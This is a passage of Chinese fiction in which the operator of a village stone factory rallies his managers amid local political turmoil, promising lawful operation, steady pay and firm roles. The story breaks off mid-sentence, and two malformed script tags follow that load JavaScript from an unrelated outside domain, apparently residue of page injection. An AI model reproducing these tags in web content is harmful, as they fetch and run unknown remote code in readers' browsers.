我、宋厂子、尹科长、购销张科长、修理张工,几个人围坐一张旧木桌,桌上摊着账本、订单、设备检修表、工人考勤工资册。
屋外风声隐隐,村里局势动荡,高书记被架空的消息人人皆知,大家脸上都带着忧心。
宋厂子率先开口:“现在村里财务一把抓去乡里,高书记说话不灵了,以后咱们跟村里、乡里协调怕是没以前顺畅。万一有人借机卡我们、挑我们毛病、找我们茬子,咋办?”
尹科长叹了口气:“外面市场本来就难,再加上内部环境不稳,人心容易散。我在外跑业务,最怕后方后院起火。”
购销张科长捏着账本,眉头紧锁:“账目我依旧死抠,一分不乱花。可上边风向一变,政策口径、审批流程、费用渠道都可能改,不确定性太大。”
修理张工老实说道:“机器我照样玩命保,不出安全事故就是底线。就怕人心慌了,干活的松劲,再好的手艺也撑不住。”
所有人目光都落到我身上。
我深吸一口气,指尖轻轻摁住桌面,一字一句说得清晰有力:
“第一,合同白纸黑字,1997年经营权在我手里,年度上交二十三万八,承诺不变、目标不变、底线不变。不管村里谁掌权、乡里谁管事,我们依法依规经营,不掺糊涂账、不碰歪门邪道,腰杆站直。
第二,高书记往日对我们鼎力支持,如今他处境艰难,我们不添乱、不站队、不议论是非,踏踏实实把厂子干好,就是对他最好的感念。
第三,生产依旧交给宋厂子,安全卡死;销售尹科长继续稳住渠道,回款加紧;购销张科长把账目管得滴水不漏,经得起任何核查;张工守住设备生命线,杜绝事故。
第四,我爹守着门卫,夜里安防兜底;三十多职工,工资准时、公道干活,人心不散,阵地就不会丢。
外界风雨我们管不了,但贾庄石材厂这块阵地,我们自己死死咬住,绝不松手。”
一番话说完,屋里沉闷气氛慢慢散开。众人眼神重新聚拢,那份快要涣散的心气,一点点拧回到一块儿。
宋厂子重重点头:“行!不管上边怎么变,咱车间不停工、石料不停产、质量不滑坡!”
尹科长挺直腰板:“我接着往外跑,再难的账,我一点点抠回来!”
购销张工、张科长也相继表态,各司其职,严守本分。
窗外夜色更深,远处村里方向一片沉寂,权力更迭、人事
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">